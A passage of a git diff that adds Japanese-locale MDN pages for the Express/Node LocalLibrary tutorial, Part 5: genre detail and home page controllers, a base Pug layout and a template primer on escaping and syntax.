enter the following command:</p> + +<pre class="brush: bash line-numbers language-bash"><code class="language-bash">npm install async</code></pre> + +<h2 id="Next_steps">Next steps</h2> + +<ul> + <li>Return to <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data">Express Tutorial Part 5: Displaying library data</a>.</li> + <li>Proceed to the next subarticle of Part 5: <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data/Template_primer">Template primer</a>.</li> +</ul> diff --git a/files/ja/learn/server-side/express_nodejs/displaying_data/genre_detail_page/index.html b/files/ja/learn/server-side/express_nodejs/displaying_data/genre_detail_page/index.html new file mode 100644 index 0000000000..40770c5ef2 --- /dev/null +++ b/files/ja/learn/server-side/express_nodejs/displaying_data/genre_detail_page/index.html @@ -0,0 +1,121 @@ +--- +title: ジャンル詳細ページ +slug: Learn/Server-side/Express_Nodejs/Displaying_data/Genre_detail_page +translation_of: Learn/Server-side/Express_Nodejs/Displaying_data/Genre_detail_page +--- +<p>The genre <em>detail</em> page needs to display the information for the particular genre instance using its automatically generated <code>_id</code> field value as the identifier. The page should display the genre name, and a list of all books in the genre with links to each book's details page.</p> + +<h2 id="Controller">Controller</h2> + +<p>Open <strong>/controllers/genreController.js</strong> and import the <em>async</em> and <em>Book</em> modules at the top of the file.</p> + +<pre class="brush: js">var Book = require('../models/book'); +var async = require('async'); +</pre> + +<p>Find the exported <code>genre_detail</code><code>()</code> controller method and replace it with the following code.</p> + +<pre class="brush: js">// Display detail page for a specific Genre. +exports.genre_detail = function(req, res, next) { + +<strong> async.parallel({ + genre: function(callback) { + Genre.findById(req.params.id) + .exec(callback); + }, + + genre_books: function(callback) { + Book.find({ 'genre': req.params.id }) + .exec(callback); + }, + + }, function(err, results) { + if (err) { return next(err); } + if (results.genre==null) { // No results. + var err = new Error('Genre not found'); + err.status = 404; + return next(err); + } + // Successful, so render + res.render('genre_detail', { title: 'Genre Detail', genre: results.genre, genre_books: results.genre_books } ); + });</strong> + +}; +</pre> + +<p>The method uses <code>async.parallel()</code> to query the genre name and its associated books in parallel, with the callback rendering the page when (if) both requests complete successfully.</p> + +<p>The ID of the required genre record is encoded at the end of the URL and extracted automatically based on the route definition (<strong>/genre/:id</strong>). The ID is accessed within the controller via the request parameters: <code style="font-style: normal; font-weight: normal;">req.params.id</code>. It is used in <code style="font-style: normal; font-weight: normal;">Genre.findById()</code> to get the current genre. It is also used to get all <code>Book</code> objects that have the genre ID in their <code>genre</code> field: <code>Book.find({ 'genre': req.params.id })</code>.</p> + +<div class="note"> +<p><strong>Note:</strong> If the genre does not exist in the database (i.e. it may have been deleted) then <code>findById()</code> will return successfully with no results. In this case we want to display a "not found" page, so we create an <code>Error</code> object and pass it to the <code>next</code> middleware function in the chain. </p> + +<pre class="brush: js"><strong>if (results.genre==null) { // No results. + var err = new Error('Genre not found'); + err.status = 404; + return next(err); +}</strong> +</pre> + +<p>The message will then propagate through to our error handling code (this was set up when we <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Express_Nodejs/skeleton_website#error_handling">generated the app skeleton</a> - for more information see <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Express_Nodejs/Introduction#Handling_errors">Handling Errors</a>).</p> +</div> + +<p>The rendered view is <strong>genre_detail</strong> and it is passed variables for the <code>title</code>, <code>genre</code> and the list of books in this genre (<code>genre_books</code>).</p> + +<h2 id="View">View</h2> + +<p>Create <strong>/views/genre_detail.pug</strong> and fill it with the text below:</p> + +<pre class="brush: js">extends layout + +block content + + <strong>h1 Genre: #{genre.name}</strong> + + div(style='margin-left:20px;margin-top:20px') + + h4 Books + + dl + each book in genre_books + dt + a(href=book.url) #{book.title} + dd #{book.summary} + + else + p This genre has no books +</pre> + +<p>The view is very similar to all our other templates. The main difference is that we don't use the <code>title</code> passed in for the first heading (though it is used in the underlying <strong>layout.pug</strong> template to set the page title).</p> + +<h2 id="What_does_it_look_like">What does it look like?</h2> + +<p>Run the application and open your browser to <a href="http://localhost:3000/">http://localhost:3000/</a>. Select the <em>All genres</em> link, then select one of the genres (e.g. "Fantasy"). If everything is set up correctly, your page should look something like the following screenshot.</p> + +<p><img alt="Genre Detail Page - Express Local Library site" src="https://mdn.mozillademos.org/files/14462/LocalLibary_Express_Genre_Detail.png" style="border-style: solid; border-width: 1px; display: block; height: 523px; margin: 0px auto; width: 1000px;"></p> + +<div class="note"> +<p>You might get an error similar to this:</p> + +<pre class="brush: bash">Cast to ObjectId failed for value " 59347139895ea23f9430ecbb" at path "_id" for model "Genre" +</pre> + +<p>This is a mongoose error coming from the <strong>req.params.id</strong>. To solve this problem, first you need to require mongoose on the <strong>genreController.js</strong> page like this:</p> + +<pre class="brush: js"> var mongoose = require('mongoose'); +</pre> + +<p>Then use <strong>mongoose.Types.ObjectId() </strong>to convert the id to a that can be used. For example:</p> + +<pre class="brush: js">exports.genre_detail = function(req, res, next) { + var id = mongoose.Types.ObjectId(req.params.id); + ... +</pre> +</div> + +<h2 id="Next_steps">Next steps</h2> + +<ul> + <li>Return to <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data">Express Tutorial Part 5: Displaying library data</a>.</li> + <li>Proceed to the next subarticle of part 5: <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data/Book_detail_page">Book detail page</a>.</li> +</ul> diff --git a/files/ja/learn/server-side/express_nodejs/displaying_data/home_page/index.html b/files/ja/learn/server-side/express_nodejs/displaying_data/home_page/index.html new file mode 100644 index 0000000000..3e2f337370 --- /dev/null +++ b/files/ja/learn/server-side/express_nodejs/displaying_data/home_page/index.html @@ -0,0 +1,133 @@ +--- +title: ホームページ +slug: Learn/Server-side/Express_Nodejs/Displaying_data/Home_page +translation_of: Learn/Server-side/Express_Nodejs/Displaying_data/Home_page +--- +<p>The first page we'll create will be the website home page, which is accessible from either the site (<code>'/'</code>) or catalog (<code>catalog/</code>) root. This will display some static text describing the site, along with dynamically calculated "counts" of different record types in the database.</p> + +<p>We've already created a route for the home page. In order to complete the page we need to update our controller function to fetch "counts" of records from the database, and create a view (template) that we can use to render the page.</p> + +<h2 id="Route">Route</h2> + +<p>We created our index page routes in a <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Express_Nodejs/routes">previous tutorial.</a> As a reminder, all the route functions are defined in <strong>/routes/catalog.js</strong>:</p> + +<pre class="brush: js ">// GET catalog home page. +router.get('/', book_controller.index); //This actually maps to /catalog/ because we import the route with a /catalog prefix</pre> + +<p>Where the callback function parameter (<code>book_controller.index</code>) is defined in <strong>/controllers/bookController.js</strong>:</p> + +<pre class="brush: js">exports.index = function(req, res, next) { + res.send('NOT IMPLEMENTED: Site Home Page'); +}</pre> + +<p>It is this controller function that we extend to get information from our models and then render it using a template (view).</p> + +<h2 id="Controller">Controller</h2> + +<p>The index controller function needs to fetch information about how many <code>Book</code>, <code>BookInstance</code>, available <code>BookInstance</code>, <code>Author</code>, and <code>Genre</code> records we have in the database, render this data in a template to create an HTML page, and then return it in an HTTP response.</p> + +<div class="note"> +<p><strong>Note:</strong> We use the <code><a class="external external-icon" href="http://mongoosejs.com/docs/api.html#model_Model.countDocuments" rel="noopener">countDocuments()</a></code> method to get the number of instances of each model. This is called on a model with an optional set of conditions to match against in the first argument and a callback in the second argument (as discussed in <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Express_Nodejs/mongoose">Using a Database (with Mongoose)</a>, and you can also return a <code>Query</code> and then execute it with a callback later. The callback will be returned when the database returns the count, with an error value (or <code>null</code>) as the first parameter and the count of records (or null if there was an error) as the second parameter.</p> + +<pre class="brush: js ">SomeModel.countDocuments({ a_model_field: 'match_value' }, function (err, count) { + // ... do something if there is an err + // ... do something with the count if there was no error + });</pre> +</div> + +<p>Open <strong>/controllers/bookController.js</strong>. Near the top of the file you should see the exported <code>index()</code> function.</p> + +<pre class="brush: python ">var Book = require('../models/book') + +exports.index = function(req, res, next) { + res.send('NOT IMPLEMENTED: Site Home Page'); +}</pre> + +<p>Replace all the code above with the following code fragment. The first thing this does is import (<code>require()</code>) all the models (highlighted in bold). We need to do this because we'll be using them to get our counts of records. It then imports the <em>async</em> module.</p> + +<pre class="brush: js ">var Book = require('../models/book'); +var Author = require('../models/author'); +var Genre = require('../models/genre'); +var BookInstance = require('../models/bookinstance'); + +var async = require('async'); + +exports.index = function(req, res) { + + async.parallel({ + book_count: function(callback) { + Book.countDocuments({}, callback); // Pass an empty object as match condition to find all documents of this collection + }, + book_instance_count: function(callback) { + BookInstance.countDocuments({}, callback); + }, + book_instance_available_count: function(callback) { + BookInstance.countDocuments({status:'Available'}, callback); + }, + author_count: function(callback) { + Author.countDocuments({}, callback); + }, + genre_count: function(callback) { + Genre.countDocuments({}, callback); + } + }, function(err, results) { + res.render('index', { title: 'Local Library Home', error: err, data: results }); + }); +};</pre> + +<p>The <code>async.parallel()</code> method is passed an object with functions for getting the counts for each of our models. These functions are all started at the same time. When all of them have completed the final callback is invoked with the counts in the results parameter (or an error).</p> + +<p>On success the callback function calls <code><a class="external external-icon" href="http://expressjs.com/en/4x/api.html#res.render" rel="noopener">res.render()</a></code>, specifying a view (template) named '<strong>index</strong>' and an object containing the data that is to be inserted into it (this includes the results object that contains our model counts). The data is supplied as key-value pairs, and can be accessed in the template using the key.</p> + +<div class="note"> +<p><strong>Note:</strong> The callback function from <code>async.parallel()</code> above is a little unusual in that we render the page whether or not there was an error (normally you might use a separate execution path for handling the display of errors).</p> +</div> + +<h2 id="View">View</h2> + +<p>Open <strong>/views/index.pug</strong> and replace its content with the text below.</p> + +<pre class="brush: js ">extends layout + +block content + h1= title + p Welcome to #[em LocalLibrary], a very basic Express website developed as a tutorial example on the Mozilla Developer Network. + + h1 Dynamic content + + if error + p Error getting dynamic content. + else + p The library has the following record counts: + + ul + li #[strong Books:] !{data.book_count} + li #[strong Copies:] !{data.book_instance_count} + li #[strong Copies available:] !{data.book_instance_available_count} + li #[strong Authors:] !{data.author_count} + li #[strong Genres:] !{data.genre_count}</pre> + +<p>The view is straightforward. We extend the <strong>layout.pug</strong> base template, overriding the <code>block</code> named '<strong>content</strong>'. The first <code>h1</code> heading will be the escaped text for the <code>title</code> variable that was passed into the <code>render()</code> function—note the use of the '<code>h1=</code>' so that the following text is treated as a JavaScript expression. We then include a paragraph introducing the LocalLibrary.</p> + +<p>Under the <em>Dynamic content</em> heading we check whether the error variable passed in from the <code>render()</code> function has been defined. If so, we note the error. If not, we get and list the number of copies of each model from the <code>data</code> variable.</p> + +<div class="note"> +<p><strong>Note:</strong> We didn't escape the count values (i.e. we used the <code>!{}</code> syntax) because the count values are calculated. If the information was supplied by end-users then we'd escape the variable for display.</p> +</div> + +<h2 id="What_does_it_look_like">What does it look like?</h2> + +<p>At this point we should have created everything needed to display the index page. Run the application and open your browser to <a class="external external-icon" href="http://localhost:3000/" rel="noopener">http://localhost:3000/</a>. If everything is set up correctly, your site should look something like the following screenshot.</p> + +<p><img alt="Home page - Express Local Library site" src="https://mdn.mozillademos.org/files/14458/LocalLibary_Express_Home.png" style="display: block; height: 440px; margin: 0px auto; width: 1000px;"></p> + +<div class="note"> +<p><strong>Note:</strong> You won't be able to use the sidebar links yet because the urls, views, and templates for those pages haven't been defined. If you try you'll get errors like "NOT IMPLEMENTED: Book list" for example, depending on the link you click on. These string literals (which will be replaced with proper data) were specified in the different controllers that live inside your "controllers" file.</p> +</div> + +<h2 id="Next_steps">Next steps</h2> + +<ul> + <li>Return to <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data">Express Tutorial Part 5: Displaying library data</a>.</li> + <li>Proceed to the next subarticle of part 5: <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data/Book_list_page">Book list page</a>.</li> +</ul> diff --git a/files/ja/learn/server-side/express_nodejs/displaying_data/index.html b/files/ja/learn/server-side/express_nodejs/displaying_data/index.html new file mode 100644 index 0000000000..5726b6c0e1 --- /dev/null +++ b/files/ja/learn/server-side/express_nodejs/displaying_data/index.html @@ -0,0 +1,92 @@ +--- +title: 'Express チュートリアル Part 5: ライブラリデータの表示' +slug: Learn/Server-side/Express_Nodejs/Displaying_data +tags: + - Express + - nodejs + - pug + - コントローラ + - テンプレート + - ビュー + - 初心者 + - 学習 +translation_of: Learn/Server-side/Express_Nodejs/Displaying_data +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/routes", "Learn/Server-side/Express_Nodejs/forms", "Learn/Server-side/Express_Nodejs")}}</div> + +<p class="summary">これで<a href="/ja/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">地域図書館</a>の Web サイトの書籍やその他のデータを表示するページを追加する準備が整いました。このページには、各モデルタイプのレコード数と、すべてのモデルのリストおよび詳細ページを示すホームページが含まれます。その過程で、データベースからレコードを取得したり、テンプレートを使用したりする際の実際的な経験を積むことになります。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td>以前のチュートリアルのトピック (<a href="/ja/docs/Learn/Server-side/Express_Nodejs/routes">Express チュートリアル Part 4: ルートとコントローラ</a>を含む) を完了してください。</td> + </tr> + <tr> + <th scope="row">目標:</th> + <td>async モジュールと Pug テンプレート言語の使い方、そしてコントローラ関数の URL からデータを取得する方法を理解すること。</td> + </tr> + </tbody> +</table> + +<h2 id="概要">概要</h2> + +<p>前回のチュートリアル記事では、データベースとやり取りするために使用できる <a href="/ja/docs/Learn/Server-side/Express_Nodejs/mongoose">Mongoose モデル</a>を定義し、いくつかの初期ライブラリレコードを作成しました。その後、LocalLibrary Web サイトに必要な<a href="/ja/docs/Learn/Server-side/Express_Nodejs/routes">すべてのルートを作成しました</a>が、"ダミーコントローラ" 関数 (ページにアクセスすると "未実装" のメッセージを返すだけのスケルトンコントローラ関数) を使用しました。</p> + +<p>次のステップは、私たちの図書館情報を表示するページに適切な実装をすることです (後の記事で情報を作成、更新、または削除するフォームを特徴とする実装ページを見ます)。これには、モデルを使用してレコードを取得するためのコントローラ機能の更新、およびこの情報をユーザに表示するためのテンプレートの定義が含まれます。</p> + +<p>はじめに、コントローラ関数で非同期操作を管理する方法と Pug を使用してテンプレートを作成する方法を説明する概要/入門トピックを提供します。それから、主要な "読み取り専用" ページのそれぞれに、それらが使用する特別な機能や新しい機能についての簡単な説明を付けて実装を提供します。</p> + +<p>この記事が終わるときには、ルート、非同期関数、ビュー、およびモデルが実際にどのように機能するのかについてのエンドツーエンドの理解が十分にあるはずです。</p> + +<h2 id="ライブラリデータチュートリアルサブ記事の表示">ライブラリデータチュートリアルサブ記事の表示</h2> + +<p>次のサブ記事では、必要な Web サイトページを表示するために必要なさまざまな機能を追加するプロセスについて説明します。次のものに進む前に、順番にこれらのそれぞれを読み、作業する必要があります。</p> + +<ol> + <li><a href="/ja/docs/Learn/Server-side/Express_Nodejs/Displaying_data/flow_control_using_async">async を使用した非同期フロー制御</a></li> + <li><a href="/ja/docs/Learn/Server-side/Express_Nodejs/Displaying_data/Template_primer">テンプレートプライマー</a></li> + <li><a href="/ja/docs/Learn/Server-side/Express_Nodejs/Displaying_data/LocalLibrary_base_template">LocalLibrary 基本テンプレート</a></li> + <li><a href="/ja/docs/Learn/Server-side/Express_Nodejs/Displaying_data/Home_page">ホームページ</a></li> + <li><a href="/ja/docs/Learn/Server-side/Express_Nodejs/Displaying_data/Book_list_page">ブックリストページ</a></li> + <li><a href="/ja/docs/Learn/Server-side/Express_Nodejs/Displaying_data/BookInstance_list_page">ブックインスタンスリストページ</a></li> + <li><a href="/ja/docs/Learn/Server-side/Express_Nodejs/Displaying_data/Date_formatting_using_moment">moment を使用した日付のフォーマット</a></li> + <li><a href="/ja/docs/Learn/Server-side/Express_Nodejs/Displaying_data/Author_list_page">著者リストページとジャンルリストページのチャレンジ</a></li> + <li><a href="/ja/docs/Learn/Server-side/Express_Nodejs/Displaying_data/Genre_detail_page">ジャンル詳細ページ</a></li> + <li><a href="/ja/docs/Learn/Server-side/Express_Nodejs/Displaying_data/Book_detail_page">本の詳細ページ</a></li> + <li><a href="/ja/docs/Learn/Server-side/Express_Nodejs/Displaying_data/Author_detail_page">著者詳細ページ</a></li> + <li><a href="/ja/docs/Learn/Server-side/Express_Nodejs/Displaying_data/BookInstance_detail_page_and_challenge">ブックインスタンス詳細ページとチャレンジ</a></li> +</ol> + +<h2 id="まとめ">まとめ</h2> + +<p>これで、サイトのすべての "読み取り専用" ページを作成しました。各モデルのインスタンスの数を表示するホームページ、および書籍、書籍のインスタンス、作家、ジャンルのリストと詳細ページです。その過程でコントローラ、非同期操作を使用したときのフロー制御の管理、Pug を使用したビューの作成、モデルを使用したデータベースの照会、ビューからテンプレートへの情報の受け渡し方法などについて多くの基礎知識を得て、そしてテンプレートを作成および拡張しました。チャレンジを完了した人たちはまた、moment を使った日付処理について少し学んだことでしょう。</p> + +<p>次回の記事では、サイトに格納されているデータの変更を開始するための HTML フォームとフォーム処理コードを作成して、私たちの知識に基づいて構築します。</p> + +<h2 id="あわせて参照">あわせて参照</h2> + +<ul> + <li><a href="http://caolan.github.io/async/docs.html">Async module</a> (Async ドキュメント)</li> + <li><a href="https://expressjs.com/en/guide/using-template-engines.html">Using Template engines with Express</a> (Express ドキュメント)</li> + <li><a href="https://pugjs.org/api/getting-started.html">Pug</a> (Pug ドキュメント)</li> + <li><a href="http://momentjs.com/docs/">Moment</a> (Moment ドキュメント)</li> +</ul> + +<p>{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/routes", "Learn/Server-side/Express_Nodejs/forms", "Learn/Server-side/Express_Nodejs")}}</p> + +<h2 id="このモジュール">このモジュール</h2> + +<ul> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/Server-side/Express_Nodejs/Introduction">Express/Node のイントロダクション</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/Server-side/Express_Nodejs/development_environment">Node 開発環境の設定</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">Express チュートリアル: 地域図書館の Web サイト</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/Server-side/Express_Nodejs/skeleton_website">Express チュートリアル Part 2: スケルトン Web サイトの作成</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/Server-side/Express_Nodejs/mongoose">Express チュートリアル Part 3: データベースを使う (Mongoose を使用)</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/Server-side/Express_Nodejs/routes">Express チュートリアル Part 4: ルートとコントローラ</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/Server-side/Express_Nodejs/Displaying_data">Express チュートリアル Part 5: ライブラリデータの表示</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/Server-side/Express_Nodejs/forms">Express チュートリアル Part 6: フォームの操作</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/Server-side/Express_Nodejs/deployment">Express チュートリアル Part 7: プロダクションへのデプロイ</a></li> +</ul> diff --git a/files/ja/learn/server-side/express_nodejs/displaying_data/locallibrary_base_template/index.html b/files/ja/learn/server-side/express_nodejs/displaying_data/locallibrary_base_template/index.html new file mode 100644 index 0000000000..a97c536eb2 --- /dev/null +++ b/files/ja/learn/server-side/express_nodejs/displaying_data/locallibrary_base_template/index.html @@ -0,0 +1,69 @@ +--- +title: LocalLibrary 基本テンプレート +slug: Learn/Server-side/Express_Nodejs/Displaying_data/LocalLibrary_base_template +translation_of: Learn/Server-side/Express_Nodejs/Displaying_data/LocalLibrary_base_template +--- +<p>Now that we understand how to extend templates using Pug, let's start by creating a base template for the project. This will have a sidebar with links for the pages we hope to create across the tutorial articles (e.g. to display and create books, genres, authors, etc.) and a main content area that we'll override in each of our individual pages.</p> + +<p>Open<strong> /views/layout.pug</strong> and replace the content with the code below.</p> + +<pre class="brush: html line-numbers language-html"><code class="language-html">doctype html +html(lang='en') + head + title= title + meta(charset='utf-8') + meta(name='viewport', content='width=device-width, initial-scale=1') + link(rel='stylesheet', href='https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css') + script(src='https://ajax.googleapis.com/ajax/libs/jquery/1.12.4/jquery.min.js') + script(src='https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js') + link(rel='stylesheet', href='/stylesheets/style.css') + body + div(class='container-fluid') + div(class='row') + div(class='col-sm-2') + block sidebar + ul(class='sidebar-nav') + li + a(href='/catalog') Home + li + a(href='/catalog/books') All books + li + a(href='/catalog/authors') All authors + li + a(href='/catalog/genres') All genres + li + a(href='/catalog/bookinstances') All book-instances + li + hr + li + a(href='/catalog/author/create') Create new author + li + a(href='/catalog/genre/create') Create new genre + li + a(href='/catalog/book/create') Create new book + li + a(href='/catalog/bookinstance/create') Create new book instance (copy) + + div(class='col-sm-10') + block content</code></pre> + +<p>The template uses (and includes) JavaScript and CSS from <a class="external external-icon" href="http://getbootstrap.com/" rel="noopener">Bootstrap</a> to improve the layout and presentation of the HTML page. Using Bootstrap or another client-side web framework is a quick way to create an attractive page that can scale well on different browser sizes, and it also allows us to deal with the page presentation without having to get into any of the details—we just want to focus on the server-side code here!</p> + +<p>The layout should be fairly obvious if you've read our above <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data#Template_primer">Template primer</a>. Note the use of <code>block content</code> as a placeholder for where the content for our individual pages will be placed.</p> + +<p>The base template also references a local css file (<strong>style.css</strong>) that provides a little additional styling. Open <strong>/public/stylesheets/style.css</strong> and replace its content with the following CSS code:</p> + +<pre class="brush: css line-numbers language-css"><code class="language-css"><span class="selector token"><span class="class token">.sidebar-nav</span> </span><span class="punctuation token">{</span> + <span class="property token">margin-top</span><span class="punctuation token">:</span> <span class="number token">20</span>px<span class="punctuation token">;</span> + <span class="property token">padding</span><span class="punctuation token">:</span> <span class="number token">0</span><span class="punctuation token">;</span> + <span class="property token">list-style</span><span class="punctuation token">:</span> none<span class="punctuation token">;</span> +<span class="punctuation token">}</span></code></pre> + +<p>When we get round to running our site, we should see the sidebar appear! In the next sections we will use the above layout to define the individual pages.</p> + +<h2 id="Next_steps">Next steps</h2> + +<ul> + <li>Return to <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data">Express Tutorial Part 5: Displaying library data</a>.</li> + <li>Proceed to the next subarticle of part 5: <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data/Home_page">Home page</a>.</li> +</ul> diff --git a/files/ja/learn/server-side/express_nodejs/displaying_data/template_primer/index.html b/files/ja/learn/server-side/express_nodejs/displaying_data/template_primer/index.html new file mode 100644 index 0000000000..a68921a6a7 --- /dev/null +++ b/files/ja/learn/server-side/express_nodejs/displaying_data/template_primer/index.html @@ -0,0 +1,149 @@ +--- +title: テンプレートプライマー +slug: Learn/Server-side/Express_Nodejs/Displaying_data/Template_primer +translation_of: Learn/Server-side/Express_Nodejs/Displaying_data/Template_primer +--- +<p>A template is a text file defining the <em>structure</em> or layout of an output file, with placeholders used to represent where data will be inserted when the template is rendered (in <em>Express</em>, templates are referred to as <em>views</em>).</p> + +<h2 id="Express_template_choices">Express template choices</h2> + +<p>Express can be used with many different <a class="external external-icon" href="https://expressjs.com/en/guide/using-template-engines.html" rel="noopener">template rendering engines</a>. In this tutorial we use <a class="external external-icon" href="https://pugjs.org/api/getting-started.html" rel="noopener">Pug</a> (formerly known as <em>Jade</em>) for our templates. This is the most popular Node template language, and describes itself as a "clean, whitespace-sensitive syntax for writing HTML, heavily influenced by <a class="external external-icon" href="http://haml.info/" rel="noopener">Haml</a>".</p> + +<p>Different template languages use different approaches for defining the layout and marking placeholders for data—some use HTML to define the layout while others use different markup formats that can be compiled to HTML. Pug is of the second type; it uses a <em>representation </em>of HTML where the first word in any line usually represents an HTML element, and indentation on subsequent lines is used to represent any content nested within those elements. The result is a page definition that translates directly to HTML, but is arguably more concise and easier to read.</p> + +<div class="note"> +<p><strong>Note:</strong> The downside of using <em>Pug</em> is that it is sensitive to indentation and whitespace (if you add an extra space in the wrong place you may get an unhelpful error code). However once you have your templates in place, they are very easy to read and maintain.</p> +</div> + +<h2 class="highlight-spanned" id="Template_configuration"><span class="highlight-span">Template configuration</span></h2> + +<p>The <em>LocalLibrary</em> was configured to use <a class="external external-icon" href="https://pugjs.org/api/getting-started.html" rel="noopener">Pug</a> when we <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Express_Nodejs/skeleton_website">created the skeleton website</a>. You should see the pug module included as a dependency in the website's <strong>package.json</strong> file, and the following configuration settings in the <strong>app.js</strong> file. The settings tell us that we're using pug as the view engine, and that <em>Express</em> should search for templates in the <strong>/views</strong> subdirectory.</p> + +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="comment token">// View engine setup.</span> +app<span class="punctuation token">.</span><span class="keyword token">set</span><span class="punctuation token">(</span><span class="string token">'views'</span><span class="punctuation token">,</span> path<span class="punctuation token">.</span><span class="function token">join</span><span class="punctuation token">(</span>__dirname<span class="punctuation token">,</span> <span class="string token">'views'</span><span class="punctuation token">)</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +app<span class="punctuation token">.</span><span class="keyword token">set</span><span class="punctuation token">(</span><span class="string token">'view engine'</span><span class="punctuation token">,</span> <span class="string token">'pug'</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre> + +<p>If you look in the views directory you will see the .pug files for the project's default views. These include the view for the home page (<strong>index.pug</strong>) and base template (<strong>layout.pug</strong>) that we will need to replace with our own content.</p> + +<pre><code>/express-locallibrary-tutorial //the project root + /views + error.pug + <strong>index.pug</strong> + layout.pug</code> +</pre> + +<h2 class="highlight-spanned" id="Template_syntax"><span class="highlight-span">Template syntax</span></h2> + +<p>The example template file below shows off many of Pug's most useful features.</p> + +<p>The first thing to notice is that the file maps the structure of a typical HTML file, with the first word in (almost) every line being an HTML element, and indentation being used to indicate nested elements. So for example, the <code>body</code> element is inside an <code>html</code> element, and paragraph elements (<code>p</code>) are within the <code>body</code> element, etc. Non-nested elements (e.g. individual paragraphs) are on separate lines.</p> + +<pre class="brush: html line-numbers language-html"><code class="language-html">doctype html +html(lang="en") + head + title= title + script(type='text/javascript'). + body + h1= title + + p This is a line with #[em some emphasis] and #[strong strong text] markup. + p This line has un-escaped data: !{'<span class="tag token"><span class="tag token"><span class="punctuation token"><</span>em</span><span class="punctuation token">></span></span> is emphasised<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>em</span><span class="punctuation token">></span></span>'} and escaped data: #{'<span class="tag token"><span class="tag token"><span class="punctuation token"><</span>em</span><span class="punctuation token">></span></span> is not emphasised<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>em</span><span class="punctuation token">></span></span>'}. + | This line follows on. + p= 'Evaluated and <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>em</span><span class="punctuation token">></span></span>escaped expression<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>em</span><span class="punctuation token">></span></span>:' + title + + <span class="comment token"><!-- You can add HTML comments directly --></span> + // You can add single line JavaScript comments and they are generated to HTML comments + //- Introducing a single line JavaScript comment with "//-" ensures the comment isn't rendered to HTML + + p A line with a link + a(href='/catalog/authors') Some link text + | and some extra text. + + #container.col + if title + p A variable named "title" exists. + else + p A variable named "title" does not exist. + p. + Pug is a terse and simple template language with a + strong focus on performance and powerful features. + + h2 Generate a list + + ul + each val in [1, 2, 3, 4, 5] + li= val</code></pre> + +<p>Element attributes are defined in parentheses after their associated element. Inside the parentheses, the attributes are defined in comma- or whitespace- separated lists of the pairs of attribute names and attribute values, for example:</p> + +<ul> + <li><code>script(type='text/javascript')</code>, <code>link(rel='stylesheet', href='/stylesheets/style.css')</code></li> + <li><code>meta(name='viewport' content='width=device-width initial-scale=1')</code></li> +</ul> + +<p>The values of all attributes are <em>escaped</em> (e.g. characters like "<code>></code>" are converted to their HTML code equivalents like "<code>&gt;"</code>) to prevent injection of JavaScript/cross-site scripting attacks.</p> + +<p>If a tag is followed by the equals sign, the following text is treated as a JavaScript <em>expression</em>. So for example, in the first line below, the content of the <code>h1</code> tag will be <em>variable</em> <code>title</code> (either defined in the file or passed into the template from Express). In the second line the paragraph content is a text string concatented with the <code>title</code> variable. In both cases the default behaviour is to <em>escape</em> the line.</p> + +<pre class="brush: html line-numbers language-html"><code class="language-html">h1= title +p= 'Evaluated and <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>em</span><span class="punctuation token">></span></span>escaped expression<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>em</span><span class="punctuation token">></span></span>:' + title</code></pre> + +<p>If there is no equals symbol after the tag then the content is treated as plain text. Within the plain text you can insert escaped and unescaped data using the <code>#{}</code> and<code> !{}</code> syntax, as shown below. You can also add raw HTML within the plain text.</p> + +<pre class="brush: html line-numbers language-html"><code class="language-html">p This is a line with #[em some emphasis] and #[strong strong text] markup. +p This line has an un-escaped string: !{'<span class="tag token"><span class="tag token"><span class="punctuation token"><</span>em</span><span class="punctuation token">></span></span> is emphasised<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>em</span><span class="punctuation token">></span></span>'}, an escaped string: #{'<span class="tag token"><span class="tag token"><span class="punctuation token"><</span>em</span><span class="punctuation token">></span></span> is not emphasised<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>em</span><span class="punctuation token">></span></span>'}, and escaped variables: #{title}.</code></pre> + +<div class="note"> +<p><strong>Tip:</strong> You will almost always want to escape data from users (via the <strong><code>#{}</code></strong> syntax). Data that can be trusted (e.g. generated counts of records, etc.) may be displayed without escaping the values.</p> +</div> + +<p>You can use the pipe ('<strong>|</strong>') character at the beginning of a line to indicate "<a class="external external-icon" href="https://pugjs.org/language/plain-text.html" rel="noopener">plain 